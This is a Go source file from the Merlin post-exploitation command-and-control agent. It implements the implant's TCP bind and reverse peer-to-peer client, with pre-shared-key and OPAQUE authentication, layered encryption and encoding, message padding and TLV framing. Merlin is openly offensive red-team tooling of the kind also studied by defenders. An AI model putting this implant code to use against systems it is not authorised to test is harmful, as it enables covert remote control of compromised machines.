    "content": "//go:build tcp || !(http || http1 || http2 || http3 || mythic || winhttp || smb || udp)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package tcp contains a configurable client used for TCP-based peer-to-peer Agent communications\npackage tcp\n\nimport (\n\t// Standard\n\t\"bytes\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"encoding/gob\"\n\t\"fmt\"\n\t\"io\"\n\t\"math/rand\"\n\t\"net\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/authenticators\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/authenticators/none\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/authenticators/opaque\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/core\"\n\ttransformer \"github.com/Ne0nd0g/merlin-agent/v2/transformers\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/base64\"\n\tgob2 \"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/gob\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/hex\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/aes\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/jwe\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/rc4\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/xor\"\n)\n\nconst (\n\tBIND    = 0\n\tREVERSE = 1\n)\n\n// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server\ntype Client struct {\n\taddress       string                       // address is the network interface and port the agent will bind to\n\tagentID       uuid.UUID                    // agentID the Agent's UUID\n\tauthenticated bool                         // authenticated tracks if the Agent has successfully authenticated\n\tauthComplete  chan bool                    // authComplete is a channel that is used to block sending messages until the Agent has successfully completed authenticated\n\tauthenticator authenticators.Authenticator // authenticator the method the Agent will use to authenticate to the server\n\tconnected     chan bool                    // connected is a channel that is used to track if the Agent is connected to a Parent\n\tconnection    net.Conn                     // connection the network socket connection used to handle traffic\n\tlistener      net.Listener                 // listener the network socket connection listening for traffic\n\tlistenerID    uuid.UUID                    // listenerID the UUID of the listener that this Agent is configured to communicate with\n\tpaddingMax    int                          // paddingMax the maximum amount of random padding to apply to every Base message\n\tpsk           string                       // psk the pre-shared key used for encrypting messages until authentication is complete\n\tsecret        []byte                       // secret the key used to encrypt messages\n\tsending       bool                         // sending is a flag that is used to track if the Agent is currently sending a message\n\ttransformers  []transformer.Transformer    // Transformers an ordered list of transforms (encoding/encryption) to apply when constructing a message\n\tmode          int                          // mode the type of client or communication mode (e.g., BIND or REVERSE)\n\tsync.Mutex                                 // used to lock the Client when changes are being made by one function or routine\n}\n\n// Config is a structure that is used to pass in all necessary information to instantiate a new Client\ntype Config struct {\n\tAddress      []string  // Address the interface and port the agent will bind to\n\tAgentID      uuid.UUID // AgentID the Agent's UUID\n\tAuthPackage  string    // AuthPackage the type of authentication the agent should use when communicating with the server\n\tListenerID   uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with\n\tPadding      string    // Padding the max amount of data that will be randomly selected and appended to every message\n\tPSK          string    // PSK the Pre-Shared Key secret the agent will use to start authentication\n\tTransformers string    // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message\n\tMode         string    // Mode the type of client or communication mode (e.g., BIND or REVERSE)\n}\n\n// New instantiates and returns a Client that is constructed from the passed in Config\nfunc New(config Config) (*Client, error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.New() entering into function with config: %+v\", config))\n\n\tclient := Client{}\n\tclient.authComplete = make(chan bool, 1)\n\tclient.connected = make(chan bool, 1)\n\tif config.AgentID == uuid.Nil {\n\t\treturn nil, fmt.Errorf(\"clients/p2p/tcp.New(): a nil Agent UUID was provided\")\n\t}\n\tclient.agentID = config.AgentID\n\tif config.ListenerID == uuid.Nil {\n\t\treturn nil, fmt.Errorf(\"clients/p2p/tcp.New(): a nil Listener UUID was provided\")\n\t}\n\n\tswitch strings.ToLower(config.Mode) {\n\tcase \"tcp-bind\":\n\t\tclient.mode = BIND\n\tcase \"tcp-reverse\":\n\t\tclient.mode = REVERSE\n\tdefault:\n\t\tclient.mode = BIND\n\t}\n\n\tclient.listenerID = config.ListenerID\n\tclient.psk = config.PSK\n\n\t// Parse Address and validate it\n\tif len(config.Address) <= 0 {\n\t\treturn nil, fmt.Errorf(\"a configuration address value was not provided\")\n\t}\n\t_, err := net.ResolveTCPAddr(\"tcp\", config.Address[0])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tclient.address = config.Address[0]\n\n\t// Set secret for encryption\n\tk := sha256.Sum256([]byte(client.psk))\n\tclient.secret = k[:]\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"new client PSK: %s\", client.psk))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"new client Secret: %x\", client.secret))\n\n\t//Convert Padding from string to an integer\n\tif config.Padding != \"\" {\n\t\tclient.paddingMax, err = strconv.Atoi(config.Padding)\n\t\tif err != nil {\n\t\t\treturn &client, fmt.Errorf(\"there was an error converting the padding max to an integer:\\r\\n%s\", err)\n\t\t}\n\t} else {\n\t\tclient.paddingMax = 0\n\t}\n\n\t// Authenticator\n\tswitch strings.ToLower(config.AuthPackage) {\n\tcase \"opaque\":\n\t\tclient.authenticator = opaque.New(config.AgentID)\n\tcase \"none\":\n\t\tclient.authenticator = none.New(config.AgentID)\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"an authenticator must be provided (e.g., 'opaque'\")\n\t}\n\n\t// Transformers\n\ttransforms := strings.Split(config.Transformers, \",\")\n\tfor _, transform := range transforms {\n\t\tvar t transformer.Transformer\n\t\tswitch strings.ToLower(transform) {\n\t\tcase \"aes\":\n\t\t\tt = aes.NewEncrypter()\n\t\tcase \"base64-byte\":\n\t\t\tt = base64.NewEncoder(base64.BYTE)\n\t\tcase \"base64-string\":\n\t\t\tt = base64.NewEncoder(base64.STRING)\n\t\tcase \"gob-base\":\n\t\t\tt = gob2.NewEncoder(gob2.BASE)\n\t\tcase \"gob-string\":\n\t\t\tt = gob2.NewEncoder(gob2.STRING)\n\t\tcase \"hex-byte\":\n\t\t\tt = hex.NewEncoder(hex.BYTE)\n\t\tcase \"hex-string\":\n\t\t\tt = hex.NewEncoder(hex.STRING)\n\t\tcase \"jwe\":\n\t\t\tt = jwe.NewEncrypter()\n\t\tcase \"rc4\":\n\t\t\tt = rc4.NewEncrypter()\n\t\tcase \"xor\":\n\t\t\tt = xor.NewEncrypter()\n\t\tdefault:\n\t\t\terr := fmt.Errorf(\"clients/tcp.New(): unhandled transform type: %s\", transform)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tclient.transformers = append(client.transformers, t)\n\t}\n\n\tcli.Message(cli.INFO, \"Client information:\")\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tProtocol: %s\", &client))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tAddress: %s\", client.address))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tListener: %s\", client.listenerID))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tAuthenticator: %s\", client.authenticator))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tTransforms: %+v\", client.transformers))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tPadding: %d\", client.paddingMax))\n\n\treturn &client, nil\n}\n\n// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent\nfunc (client *Client) Initial() (err error) {\n\tcli.Message(cli.DEBUG, \"clients/tcp.Initial(): entering into function\")\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Initial(): leaving function with error: %+v\", err))\n\n\terr = client.Connect()\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/tcp.Initial(): %s\", err)\n\t\treturn\n\t}\n\t<-client.connected\n\n\t// Authenticate\n\terr = client.Authenticate(messages.Base{})\n\treturn\n}\n\n// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol\n// The function must take in a Base message for when the C2 server requests re-authentication through a message\nfunc (client *Client) Authenticate(msg messages.Base) (err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Authenticate(): entering into function with message: %+v\", msg))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Authenticate(): leaving function with error: %+v\", err))\n\tclient.Lock()\n\tclient.authenticated = false\n\tclient.Unlock()\n\tif len(client.authComplete) > 0 {\n\t\t<-client.authComplete\n\t}\n\tvar authenticated bool\n\t// Reset the Agent's PSK\n\tk := sha256.Sum256([]byte(client.psk))\n\tclient.Lock()\n\tclient.secret = k[:]\n\tclient.Unlock()\n\n\t// Repeat until authenticator is complete and Agent is authenticated\n\tfor {\n\t\tmsg, authenticated, err = client.authenticator.Authenticate(msg)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\t// An empty message was received indicating to exit the function\n\t\tif msg.Type == 0 {\n\t\t\treturn\n\t\t}\n\n\t\t// Once authenticated, update the client's secret used to encrypt messages\n\t\tif authenticated {\n\t\t\tclient.Lock()\n\t\t\tclient.authenticated = true\n\t\t\tclient.Unlock()\n\t\t\tvar key []byte\n\t\t\tkey, err = client.authenticator.Secret()\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// Don't update the secret if the authenticator returned an empty key\n\t\t\tif len(key) > 0 {\n\t\t\t\tclient.Lock()\n\t\t\t\tclient.secret = key\n\t\t\t\tclient.Unlock()\n\t\t\t}\n\t\t}\n\n\t\tif msg.Type == messages.OPAQUE {\n\t\t\t// Send the message to the server\n\t\t\tvar msgs []messages.Base\n\t\t\tmsgs, err = client.SendAndWait(msg)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// Add response message to the next loop iteration\n\t\t\tif len(msgs) > 0 {\n\t\t\t\t// Don't add IDLE messages, just continue on\n\t\t\t\tif msgs[0].Type != messages.IDLE {\n\t\t\t\t\tmsg = msgs[0]\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t_, err = client.Send(msg)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t// If the Agent is authenticated, exit the loop and return the function\n\t\tif authenticated {\n\t\t\tclient.authComplete <- true\n\t\t\treturn\n\t\t}\n\t}\n}\n\n// Connect establish a connection with the remote host depending on the Client's type (e.g., BIND or REVERSE)\nfunc (client *Client) Connect() (err error) {\n\tcli.Message(cli.DEBUG, \"clients/tcp.Connect(): entering into function\")\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Connect(): leaving function with error %+v\", err))\n\n\t// Ensure the connected channel is empty. If the Agent's sleep is less than 0, the channel might be full from a prior reconnect\n\tif len(client.connected) > 0 {\n\t\t<-client.connected\n\t}\n\n\tclient.Lock()\n\tdefer client.Unlock()\n\n\t// Check to see if the connection was restored by a different call stack\n\tif client.connection != nil {\n\t\treturn nil\n\t}\n\tswitch client.mode {\n\tcase BIND:\n\t\tif client.listener == nil {\n\t\t\tclient.listener, err = net.Listen(\"tcp\", client.address)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"clients/tcp.Connect(): there was an error listening on %s: %s\", client.address, err)\n\t\t\t}\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Started %s on %s\", client, client.address))\n\t\t}\n\n\t\t// Listen for initial connection from upstream agent\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Listening for incoming connection on %s at %s...\", client.address, time.Now().UTC().Format(time.RFC3339)))\n\t\tclient.connection, err = client.listener.Accept()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"clients/tcp.Connect(): there was an error accepting the connection: %s\", err)\n\t\t}\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Received new connection from %s\", client.connection.RemoteAddr()))\n\t\t// When an Agent previously authenticated, has a sleep less than 0, and has been unlinked, it will send an IDLE message to the server when a new link is established\n\t\tif client.authenticated {\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Sending gratuitious StatusCheckIn at %s...\", time.Now().UTC().Format(time.RFC3339)))\n\t\t\t_, err = client.Send(messages.Base{ID: client.agentID, Type: messages.CHECKIN})\n\t\t}\n\t\tclient.connected <- true\n\t\treturn err\n\tcase REVERSE:\n\t\tclient.connection, err = net.Dial(\"tcp\", client.address)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"clients/tcp.Connect(): there was an error connecting to %s: %s\", client.address, err)\n\t\t}\n\t\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"Successfully connected to %s at %s\", client.address, time.Now().UTC().Format(time.RFC3339)))\n\t\tclient.connected <- true\n\t\treturn nil\n\tdefault:\n\t\treturn fmt.Errorf(\"clients/tcp.Connect(): Unhandled Client mode %d\", client.mode)\n\t}\n}\n\n// Construct takes in a messages.Base structure that is ready to be sent to the server and runs all the configured transforms\n// on it to encode and encrypt it.\nfunc (client *Client) Construct(msg messages.Base) (data []byte, err error) {\n\tfor i := len(client.transformers); i > 0; i-- {\n\t\tif i == len(client.transformers) {\n\t\t\t// First call should always take a Base message\n\t\t\tdata, err = client.transformers[i-1].Construct(msg, client.secret)\n\t\t} else {\n\t\t\tdata, err = client.transformers[i-1].Construct(data, client.secret)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"clients/tcp.Construct(): there was an error calling the transformer construct function: %s\", err)\n\t\t}\n\t}\n\treturn\n}\n\n// Deconstruct takes in data returned from the server and runs all the Agent's transforms on it until\n// a messages.Base structure is returned. The key is used for decryption transforms\nfunc (client *Client) Deconstruct(data []byte) (messages.Base, error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Deconstruct(): entering into function with message: %+v\", data))\n\t//fmt.Printf(\"Deconstructing %d bytes with key: %x\\n\", len(data), client.secret)\n\tfor _, transform := range client.transformers {\n\t\t//fmt.Printf(\"Transformer %T: %+v\\n\", transform, transform)\n\t\tret, err := transform.Deconstruct(data, client.secret)\n\t\tif err != nil {\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"clients/tcp.Deconstruct(): unable to deconstruct with Agent's secret, retrying with PSK\"))\n\t\t\t// Try to see if the PSK works\n\t\t\tk := sha256.Sum256([]byte(client.psk))\n\t\t\tret, err = transform.Deconstruct(data, k[:])\n\t\t\tif err != nil {\n\t\t\t\treturn messages.Base{}, err\n\t\t\t}\n\t\t\t// If the PSK worked, assume the agent is unauthenticated to the server\n\t\t\tclient.authenticated = false\n\t\t\tclient.secret = k[:]\n\t\t}\n\t\tswitch ret.(type) {\n\t\tcase []uint8:\n\t\t\tdata = ret.([]byte)\n\t\tcase string:\n\t\t\tdata = []byte(ret.(string)) // Probably not what I should be doing\n\t\tcase messages.Base:\n\t\t\t//fmt.Printf(\"pkg/listeners.Deconstruct(): returning Base message: %+v\\n\", ret.(messages.Base))\n\t\t\treturn ret.(messages.Base), nil\n\t\tdefault:\n\t\t\treturn messages.Base{}, fmt.Errorf(\"clients/tcp.Deconstruct(): unhandled data type for Deconstruct(): %T\", ret)\n\t\t}\n\t}\n\treturn messages.Base{}, fmt.Errorf(\"clients/tcp.Deconstruct(): unable to transform data into messages.Base structure\")\n}\n\n// Listen waits for incoming data on an established TCP connection, deconstructs the data into a Base messages, and returns them\nfunc (client *Client) Listen() (returnMessages []messages.Base, err error) {\n\tcli.Message(cli.DEBUG, \"clients/tcp.Listen(): entering into function\")\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Listen(): leaving function with error %+v and return messages: %+v\", err, returnMessages))\n\n\t// Repair broken connections\n\tif client.connection == nil {\n\t\tswitch client.mode {\n\t\tcase BIND:\n\t\t\t// If the connection is empty and this is a BIND agent, wait for connection from Parent Agent\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Client connection was empty. Re-establishing connection at %s...\", time.Now().UTC().Format(time.RFC3339)))\n\t\t\terr = client.Connect()\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"clients/tcp.Listen(): %s\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\tcase REVERSE:\n\t\t\tif !client.sending {\n\t\t\t\t// If the Agent's sleep is 0, which isn't known in this package, then there will never be a message to send and this will cause a deadlock\n\t\t\t\t// Return a message so that there is a message to send, forcing the communication\n\t\t\t\tclient.Lock()\n\t\t\t\tclient.sending = true\n\t\t\t\tclient.Unlock()\n\t\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Client connection was empty and sending signal is false, returning gratuitious StatusCheckIn messages at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t\t\t\treturn []messages.Base{{ID: client.agentID, Type: messages.CHECKIN}}, nil\n\t\t\t} else {\n\t\t\t\t// If the connection is empty and this is a REVERSE agent, wait here until the connection is established\n\t\t\t\tcli.Message(cli.INFO, fmt.Sprintf(\"Waiting for a client connection before listening for messages at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t\t\t\t<-client.connected\n\t\t\t\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"Client connection re-esablished at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t\t\t}\n\t\t}\n\t}\n\n\t// Wait for the response\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Listening for incoming messages from %s on %s at %s...\", client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339)))\n\n\tvar n int\n\tvar tag uint32\n\tvar length uint64\n\tvar buff bytes.Buffer\n\tfor {\n\t\trespData := make([]byte, 4096)\n\n\t\tn, err = client.connection.Read(respData)\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Listen(): Read %d bytes from connection %s at %s\", n, client.connection.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"clients/tcp.Listen(): received EOF from %s, the Agent's connection has been reset\", client.connection.RemoteAddr()))\n\t\t\t\terr = nil\n\t\t\t\tclient.connection = nil\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = fmt.Errorf(\"clients/tcp.Listen(): there was an error reading the message from the connection with %s: %s\", client.connection.RemoteAddr(), err)\n\t\t\tclient.connection = nil\n\t\t\treturn\n\t\t}\n\n\t\t// Add the bytes to the buffer\n\t\tn, err = buff.Write(respData[:n])\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"clients/tcp.Listen(): there was an error writing %d incoming bytes to the local buffer: %s\", n, err)\n\t\t\tclient.connection = nil\n\t\t\treturn\n\t\t}\n\n\t\t// If this is the first read on the connection determine the tag and data length\n\t\tif tag == 0 {\n\t\t\t// Ensure we have enough data to read the tag/type which is 4-bytes\n\t\t\tif buff.Len() < 4 {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Listen(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d\", buff.Len()))\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\ttag = binary.BigEndian.Uint32(respData[:4])\n\t\t\tif tag != 1 {\n\t\t\t\terr = fmt.Errorf(\"clients/tcp.Listen(): Expected a type/tag value of 1 for TLV but got %d\", tag)\n\t\t\t\tclient.connection = nil\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tif length == 0 {\n\t\t\t// Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size\n\t\t\tif buff.Len() < 12 {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Listen(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d\", buff.Len()))\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tlength = binary.BigEndian.Uint64(respData[4:12])\n\t\t}\n\n\t\t// If we've read all the data according to the length provided in TLV, then break the for loop\n\t\t// Type/Tag size is 4-bytes, Length size is 8-bytes for TLV\n\t\tif uint64(buff.Len()) == length+4+8 {\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Listen(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data\", length))\n\t\t\tbreak\n\t\t} else {\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Listen(): Read %d of %d bytes into the buffer\", buff.Len(), length))\n\t\t}\n\t}\n\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Read %d bytes from TCP connection %s at %s\", buff.Len(), client.connection.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))\n\tvar msg messages.Base\n\t// Type/Tag size is 4-bytes, Length size is 8-bytes for a total of 12-bytes for TLV\n\tmsg, err = client.Deconstruct(buff.Bytes()[12:])\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/tcp.Listen(): there was an error deconstructing the data: %s\", err)\n\t\treturn\n\t}\n\n\treturnMessages = append(returnMessages, msg)\n\treturn\n}\n\n// Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream.\n// This function DOES not wait or listen for response messages.\nfunc (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Send(): entering into function with Base message: %+v\", m))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Send(): leaving function with error: %v and returnMessages: %+v\", err, returnMessages))\n\n\t// Recover connection\n\tif client.connection == nil {\n\t\tswitch client.mode {\n\t\tcase BIND:\n\t\t\t// If the connection is empty and this is a BIND agent, wait here for listener to receive a connection\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Waiting for a client connection before sending message at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t\t\t<-client.connected\n\t\tcase REVERSE:\n\t\t\t// Signal to the listen() function that we are attempting to recover the connection\n\t\t\tclient.Lock()\n\t\t\tclient.sending = true\n\t\t\tclient.Unlock()\n\t\t\t// If the connection is empty and this is a REVERSE agent, attempt to connect to the listener\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Client connection was empty. Re-establishing connection at %s...\", time.Now().UTC().Format(time.RFC3339)))\n\t\t\terr = client.Connect()\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"clients/tcp.Send(): %s\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// Once the connection has successfully been recovered, and a message has been sent, reset the sending signal for the listen() function\n\t\t\tdefer func() {\n\t\t\t\tclient.Lock()\n\t\t\t\tclient.sending = false\n\t\t\t\tclient.Unlock()\n\t\t\t}()\n\t\t}\n\t}\n\n\tif !client.authenticated && m.Type != messages.OPAQUE {\n\t\tcli.Message(cli.INFO, fmt.Sprintf(\"Waiting for authentication to complete before sending message at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t\t<-client.authComplete\n\t\tcli.Message(cli.INFO, fmt.Sprintf(\"Authentication completed, continuing with sending held message at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t}\n\n\t// Set the message padding\n\tif client.paddingMax > 0 {\n\t\t// #nosec G404 -- Random number does not impact security\n\t\tm.Padding = core.RandStringBytesMaskImprSrc(rand.Intn(client.paddingMax))\n\t}\n\n\tdata, err := client.Construct(m)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/tcp.Send(): there was an error constructing the data: %s\", err)\n\t\treturn\n\t}\n\n\tdelegate := messages.Delegate{\n\t\tListener: client.listenerID,\n\t\tAgent:    client.agentID,\n\t\tPayload:  data,\n\t}\n\n\t// Convert messages.Base to gob\n\t// Still need this for agent to agent message encoding\n\tdelegateBytes := new(bytes.Buffer)\n\terr = gob.NewEncoder(delegateBytes).Encode(delegate)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error encoding the %s message to a gob:\\r\\n%s\", m.Type, err)\n\t\treturn\n\t}\n\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Sending %s message to %s at %s\", m.Type, client.connection.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))\n\n\t// Add in Tag/Type and Length for TLV\n\ttag := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(tag, 1)\n\tlength := make([]byte, 8)\n\tbinary.BigEndian.PutUint64(length, uint64(delegateBytes.Len()))\n\n\t// Create TLV\n\toutData := append(tag, length...)\n\toutData = append(outData, delegateBytes.Bytes()...)\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Send(): Added Tag: %d and Length: %d to data size of %d\\n\", tag, uint64(delegateBytes.Len()), len(outData)))\n\n\t// Write the message\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Send(): Writing message size: %d to: %s\", len(outData), client.connection.RemoteAddr()))\n\tn, err := client.connection.Write(outData)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error writing the message to the connection with %s: %s\", client.connection.RemoteAddr(), err)\n\t\treturn\n\t}\n\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Wrote %d bytes to connection %s\", n, client.connection.RemoteAddr()))\n\n\treturn\n}\n\n// SendAndWait takes in a Merlin message, encodes/encrypts it, and writes it to the output stream and then waits for response\n// messages and returns them\nfunc (client *Client) SendAndWait(m messages.Base) (returnMessages []messages.Base, err error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients/tcp.SendAndWait()...\")\n\n\t// Send\n\treturnMessages, err = client.Send(m)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/tcp.SendAndWait(): %s\", err)\n\t\treturn\n\t}\n\n\t// Listen\n\treturn client.Listen()\n}\n\n// Get is a generic function that is used to retrieve the value of a Client's field\nfunc (client *Client) Get(key string) (value string) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Get(): entering into function with key: %s\", key))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Get(): leaving function with value: %s\", value))\n\tswitch strings.ToLower(key) {\n\tcase \"ja3\":\n\t\treturn \"\"\n\tcase \"paddingmax\":\n\t\tvalue = strconv.Itoa(client.paddingMax)\n\tcase \"protocol\":\n\t\tvalue = client.String()\n\tdefault:\n\t\tvalue = fmt.Sprintf(\"unknown client configuration setting: %s\", key)\n\t}\n\treturn\n}\n\n// Set is a generic function that is used to modify a Client's field values\nfunc (client *Client) Set(key string, value string) (err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Set(): entering into function with key: %s, value: %s\", key, value))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Set(): exiting function with err: %v\", err))\n\tclient.Lock()\n\tdefer client.Unlock()\n\n\tswitch strings.ToLower(key) {\n\tcase \"addr\":\n\t\t// Validate the address\n\t\t_, err = net.ResolveTCPAddr(\"tcp\", value)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"clients/tcp.Set(): there was an error parsing the provide address %s : %s\", value, err)\n\t\t\treturn\n\t\t}\n\t\t// Close the connection\n\t\terr = client.connection.Close()\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"clients/tcp.Set(): there was an error closing the connection: %s\", err)\n\t\t\treturn\n\t\t}\n\t\tclient.connection = nil\n\t\tif client.mode == BIND {\n\t\t\t// Close the listener\n\t\t\terr = client.listener.Close()\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"clients/tcp.Set(): there was an error closing the listener: %s\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tclient.listener = nil\n\t\tclient.address = value\n\tcase \"listener\":\n\t\tvar id uuid.UUID\n\t\tid, err = uuid.Parse(value)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"clients/tcp.Set(): %s\", err)\n\t\t}\n\t\tclient.listenerID = id\n\tcase \"paddingmax\":\n\t\tclient.paddingMax, err = strconv.Atoi(value)\n\tcase \"secret\":\n\t\tclient.secret = []byte(value)\n\tdefault:\n\t\terr = fmt.Errorf(\"unknown tcp client setting: %s\", key)\n\t}\n\treturn err\n}\n\n// String returns the type of TCP client\nfunc (client *Client) String() string {\n\tswitch client.mode {\n\tcase BIND:\n\t\treturn \"tcp-bind\"\n\tcase REVERSE:\n\t\treturn \"tcp-reverse\"\n\tdefault:\n\t\treturn \"tcp-unhandled\"\n\t}\n}\n\n// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages\n// can be sent/received.\nfunc (client *Client) Synchronous() bool {\n\tswitch client.mode {\n\tcase BIND:\n\t\treturn true\n\tcase REVERSE:\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}\n"
  },
  {
    "path": "clients/tcp/tcp_exclude.go",
